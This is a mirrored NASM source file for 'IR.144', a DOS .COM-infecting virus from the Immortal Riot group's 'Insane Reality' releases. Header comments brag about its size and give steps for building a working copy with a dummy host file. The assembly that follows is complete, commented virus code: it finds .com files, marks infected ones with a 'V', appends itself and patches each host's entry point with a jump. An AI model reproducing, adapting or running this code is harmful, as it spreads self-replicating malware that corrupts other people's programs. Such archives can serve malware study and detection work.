mirror of
https://github.com/vxunderground/MalwareSourceCode
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123 lines
3.6 KiB
NASM
123 lines
3.6 KiB
NASM
; Virusname: IR.144
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; Origin : Sweden
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; Author : Metal Militia/Immortal Riot
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;
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; Ok, this is not one of the very tiny viruses out there today, but to
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; date this is the smallest one I've ever made and since I never really
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; care about size when I write my creations I think thisone's pretty ok.
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; There are others out there on about 100 bytes that does the same, but
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; who gives a shit? If you don't like thisone, take a look at my
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; "fixed-up" version [UNIQ], also included in this issue of Insane
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; Reality.
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;
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; In order to get thisone working it needs a host, so create the
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; following bytes of code and then do a "copy /b dummy.com+ir144.com
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; ready.com" and woha! A very working copy.
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;
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; -----------------------
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; .model tiny ; DUMMY.ASM
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; .code
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; org 100h
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;
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; sov:
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;
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; xchg ax,ax ; nop
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; xchg ax,ax ; nop
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; xchg ax,ax ; nop
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; xchg ax,ax ; nop
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;
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; end sov
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; -----------------------
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.model tiny ; IR144.ASM
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.radix 16
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.code
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org 100
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start:
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call get_offset
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get_offset:
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pop bp ; get the
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sub bp,offset get_offset ; delta offset
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lea si,[buffa_bytes+bp] ; restore our
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mov di,100 ; first four
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movsw ; bytes
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movsw
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lea dx,[end_virus+bp] ; set the
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mov ah,1a ; DTA to eov
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int 21
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lea dx,[find_files+bp] ; matching "*.com"
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mov ah,4e ; find first
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find_next:
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int 21
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jc reset_DTA
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lea dx,[end_virus+1e+bp]
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mov ax,3d02 ; open it
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int 21
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jc get_more
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xchg bx,ax
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mov cx,4 ; first four bytes
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mov ah,3f ; read em
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lea dx,[buffa_bytes+bp] ; and put them in
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int 21 ; our buffer
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cmp byte ptr [buffa_bytes+bp+3],'V' ; check if already
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jz close_em ; infected
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mov ax,4202 ; goto EOF
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sub cx,cx
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cwd
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int 21
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sub ax,3
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mov word ptr [bp+jump_bytes+1],ax ; use our 'jmp' bytes
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mov ah,40 ; write our
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mov cx,end_virus-start ; viral code
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lea dx,[bp+start] ; to victim file
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int 21
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mov ax,4200 ; goto SOF
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sub cx,cx
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cwd
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int 21
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mov ah,40 ; write our
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mov cx,4 ; first four
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lea dx,[bp+jump_bytes] ; bytes over
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int 21 ; the original
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close_em:
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mov ah,3e ; close file
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int 21
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get_more:
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mov ah,4f ; find next
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jmp find_next
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reset_DTA:
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mov dx,80 ; reset the DTA
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mov ah,1a
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int 21
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mov di,100 ; and return
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push di ; to the original
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ret ; program
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find_files db '*.com',0 ; victim files
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jump_bytes db 0e9,0,0,'V' ; our 'jmp' bytes
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buffa_bytes: ; the original first four bytes will be put here
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xchg ax,ax ; nop
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xchg ax,ax ; nop
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int 20 ; ret(urn) to prompt
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end_virus:
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end start |